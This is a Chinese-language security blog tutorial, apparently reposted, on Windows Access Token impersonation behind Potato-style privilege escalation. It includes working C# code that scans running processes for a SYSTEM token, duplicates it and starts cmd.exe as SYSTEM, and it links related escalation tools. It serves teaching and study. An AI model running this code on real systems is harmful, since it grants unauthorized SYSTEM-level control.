從pipePotato中學習Windows Access Token令牌模擬



上周安全研究員itm4n發布了PrintSpoofer權限提升: https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/。經過分析Github上的代碼(也可以看這篇360靈騰安全實驗室發布的原理分析: https://www.anquanke.com/post/id/204510)大致成因是spoolsv.exe進程會注冊一個 rpc 服務,任何授權用戶可以訪問他,同時攻擊者可以利用Server names規范問題注冊一個命名管道,而同時System用戶訪問該管道的時候,我們就可以模擬該token創建一個System權限的進程。下面就簡單講一下Token模擬的原理。
 
Windows Access Token 簡介
Windows Token其實叫Access Token(訪問令牌),它是一個描 述進程或者線程安全上下文的一個對象。不同的用戶登錄計算機后, 都會生成一個Access Token,這個Token在用戶創建進程或者線程 時會被使用,不斷的拷貝,這也就解釋了A用戶創建一個進程而該 進程沒有B用戶的權限。
1.Access Token種類
  • 主令牌(Primary令牌)
  • 模擬令牌(Impersonation令牌)
兩種token只有在系統重啟后才會清除;授權令牌在用戶注銷后,該令牌會變為模擬令牌依舊有效。
 
2.Access Token的組成
  • 用戶賬戶的安全標識符(SID)
  • 用戶所屬的組的SID
  • 用於標識當前登陸會話的登陸SID
  • 用戶或用戶組所擁有的權限列表
  • 所有者SID
  • 主要組的SID
  • 訪問控制列表
  • 訪問令牌的來源
  • 令牌是主要令牌還是模擬令牌
  • 限制SID的可選列表
  • 目前的模擬等級
  • 其他統計的數據

可以通過whoami /user命令查看當前的SID

 
3.Windows Access Token的產生過程
使用憑據(用戶密碼)進行認證-->登錄Session創建-->Windows返回用戶sid和用戶組sid-->LSA(Local Security Authority)創建一個Token-->依據該token創建進程、線程(如果CreaetProcess時自己指定了 Token, LSA會用該Token, 否則就繼承父進程Token進行運行)
 
4.編寫一個模擬令牌demo
首先了解下令牌的四個模擬級別,分別是:Anonymous,Identification,Impersonation,Delegation
  • Anonymous:服務器無法模擬或識別客戶端。
  • Identification:服務器可以獲取客戶端的身份和特權,但不能模擬客戶端。
  • Impersonation:服務器可以在本地系統上模擬客戶端的安全上下文。
  • Delegation:服務器可以在遠程系統上模擬客戶端的安全上下文。
所以當令牌具有Impersonation和Delegation級別的時候才可以進行模擬。
有了令牌了,就需要進一步利用令牌做點事情,下述列出了三個通過用戶身份創建進程的函數
函數 需要的特權 需要輸入的值
CreateProcessWithLogon() null 域/用戶名/密碼
CreateProcessWithToken() SeImpersonatePrivilege Primary令牌
CreateProcessAsUser() SeAssignPrimaryTokenPrivilege和SeIncreaseQuotaPrivilege Primary令牌
言而總之,只要我們有SeAssignPrimaryToken或者SeImpersonate權限,就可以通過模擬Primary令牌來提升權限
而Primary令牌可以通過DuplicateTokenEx調用一個Impersonation令牌來轉換。
 
所以一個模擬令牌的過程大概是:OpenProcess(獲取目標進程上下文)->OpenProcessToken(獲得進程訪問令牌的句柄)-->DuplicateTokenEx(創建一個主/模擬令牌)-->CreateProcessWithTokenW(創建進程)
接下來便要開始拓展一下“Token Kidnapping”技術了, https://msrc-blog.microsoft.com/2009/04/14/token-kidnapping/
在這篇報告中可以看出Token Kidnapping的核心:

 

所以,我們則需要對每個進程進行爆破,直到找到滿足如下條件的進程:

  1. 進程運行用戶是SYSTEM
  2. 令牌級別至少是Impersonation級別
  3. 攻擊者運行的權限至少擁有SeImpersonatePrivilege

 

我在后面使用C#編寫了一個demo,大概執行過程我會在這里詳細的介紹。並在文章末尾附上Github地址。

 1 public static Boolean EnumerateUserProcesses()
 2         {
 3             Boolean rs = false;
 4             Process[] pids = Process.GetProcesses();
 5             Console.WriteLine("[*] Examining {0} processes", pids.Length);
 6             foreach (Process p in pids)
 7             {
 8                 if (p.ProcessName.ToUpper().Equals("System".ToUpper())) {       //跳過進程名為"System"的進程
 9                     continue;
10                 }
11                 IntPtr hProcess = OpenProcess(Flags.PROCESS_QUERY_INFORMATION, true, p.Id);
12                 if (IntPtr.Zero == hProcess)
13                 {
14                     hProcess = OpenProcess(Flags.PROCESS_QUERY_LIMITED_INFORMATION, true, p.Id); //required for protected processes
15                     if (IntPtr.Zero == hProcess)
16                     {
17                         continue;
18                     }
19                 }
20                 IntPtr hToken;
21                 if (!OpenProcessToken(hProcess, Flags.MAXIMUM_ALLOWED, out hToken))
22                 {
23                     continue;
24                 }
25                 CloseHandle(hProcess);
26 
27                 UInt32 dwLength = 0;
28                 TOKEN_STATISTICS tokenStatistics = new TOKEN_STATISTICS();
29                 if (!GetTokenInformation(hToken, TOKEN_INFORMATION_CLASS.TokenStatistics, ref tokenStatistics, dwLength, out dwLength))
30                 {
31                     if (!GetTokenInformation(hToken, TOKEN_INFORMATION_CLASS.TokenStatistics, ref tokenStatistics, dwLength, out dwLength))
32                     {
33                         continue;
34                     }
35                 }
36 
37                 String userName = String.Empty;
38                 if (!GetTokenInformationToUsername(tokenStatistics, ref userName))
39                 {
40                     continue;
41                 }
42 
43                 rs = token_elevation(hToken);
44                 if (rs)
45                 {
46                     Console.WriteLine("模擬成功!PID:" + p.Id);
47                     break;
48                 }
49             }
50             return rs;
51         }

 

該EnumerateUserProcesses函數中依次獲取當前系統的進程PID,並獲取對應的Token句柄傳入token_elevation利用函數中。
同時在進程的兩處OpenProcess函數,是為了繞過操作系統的Protect Process機制(像csrss、smss進程)
 
但是在傳入token_elevation之前,利用兩次GetTokenInformation(WIndows系統API)和GetTokenInformationToUsername來進行判斷。
GetTokenInformation函數檢索指定令牌的相關信息,關於這里為什么要調用兩次,是因為第一次調用是為了獲取令牌信息需要的緩沖區的大小,這是在使用Win32 API中的一個常用做法, 很多Win32 API都可以這樣使用, 目的是不用讓程序員總是創建一個假設一定足夠的緩沖區, 這在很多時候會造成空間上的浪費
而下一個判斷函數GetTokenInformationToUsername,則是利用LookupAccountSid來判斷SID的用戶是不是SYSTEM
1 LookupAccountSid(String.Empty, securityLogonSessionData.Sid, lpName, ref cchName, lpReferencedDomainName, ref cchReferencedDomainName, out sidNameUse);
2 
3             userName = lpName.ToString();
4             if (!userName.ToUpper().Equals("System".ToUpper())) {
5                 return false;
6             }

 接下來就是重頭戲token_elevation函數

 1 public static Boolean token_elevation(IntPtr hExistingToken) {
 2             IntPtr phNewToken;
 3             STARTUPINFO StartupInfo = new STARTUPINFO();
 4             PROCESS_INFORMATION procinfo = new PROCESS_INFORMATION();
 5             StartupInfo.cb = (UInt32)Marshal.SizeOf(StartupInfo);
 6             SECURITY_ATTRIBUTES securityAttributes = new SECURITY_ATTRIBUTES();
 7             if (!DuplicateTokenEx(
 8                         hExistingToken,
 9                         Flags.TOKEN_ALL_ACCESS,
10                         ref securityAttributes,
11                         SECURITY_IMPERSONATION_LEVEL.SecurityImpersonation,
12                         TOKEN_TYPE.TokenPrimary,
13                         out phNewToken
14             ))
15             {
16                 return false;
17             }
18             Console.WriteLine("[+] Duplicate The Token!");
19 
20             //提升自身進程權限
21             //if (!ImpersonateLoggedOnUser(phNewToken))
22             //{
23             //    return false;
24             //}
25             //Console.WriteLine("[+] Operating as {0}", System.Security.Principal.WindowsIdentity.GetCurrent().Name);
26 
27             if (CreateProcessWithTokenW(phNewToken, CREATE_FLAGS.LOGON_WITH_PROFILE, "C:\\Windows\\System32\\cmd.exe", null, CREATION_FLAGS.CREATE_NEW_CONSOLE, IntPtr.Zero, IntPtr.Zero, ref StartupInfo, out procinfo))
28             {
29                 Console.WriteLine("[+] SUCCESS");
30                 return true;
31             }
32             return false;
33         }

 

函數中調用了DuplicateTokenEx轉換成TOKEN_TYPE.TokenPrimary,也是Primary令牌。

並調用了CreateProcessWithTokenW創建了一個新的cmd進程

運行效果如下:

 但是新建一個進程在虛擬終端中提權有些不便,后面看到冷逸師傅的Github上(https://github.com/lengjibo/RedTeamTools/blob/master/windows/getsystem/GetSystem.exe)的解決方案是通過命令管道來重定向新進程的輸出

分析定位到代碼

 

 程序是由https://github.com/yusufqk/SystemToken改動之后,調用CreatePipe函數創建命名管道,並將重定向句柄傳入StartupInfo結構體中

偷個懶,我就也利用源碼自己照着IDA上的偽代碼自己寫了個demo

 運行后如下:

 

 

我將C#代碼和C++代碼都放到我的GIthub上開源了:https://github.com/sf197/TokenPrivilege_Demo

 

Reference:

  1. https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/
  2. https://github.com/itm4n/PrintSpoofer/blob/master/PrintSpoofer/PrintSpoofer.cpp
  3. https://github.com/0xbadjuju/Tokenvator/
  4. https://github.com/NetSPI/MonkeyWorks

 

 

 首發:https://www.anquanke.com/post/id/204721

 

 

 

 

在寫博客的過程中貌似發現了一處降權后的操作導致無法以管理員運行程序的問題

 

 

 

 

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM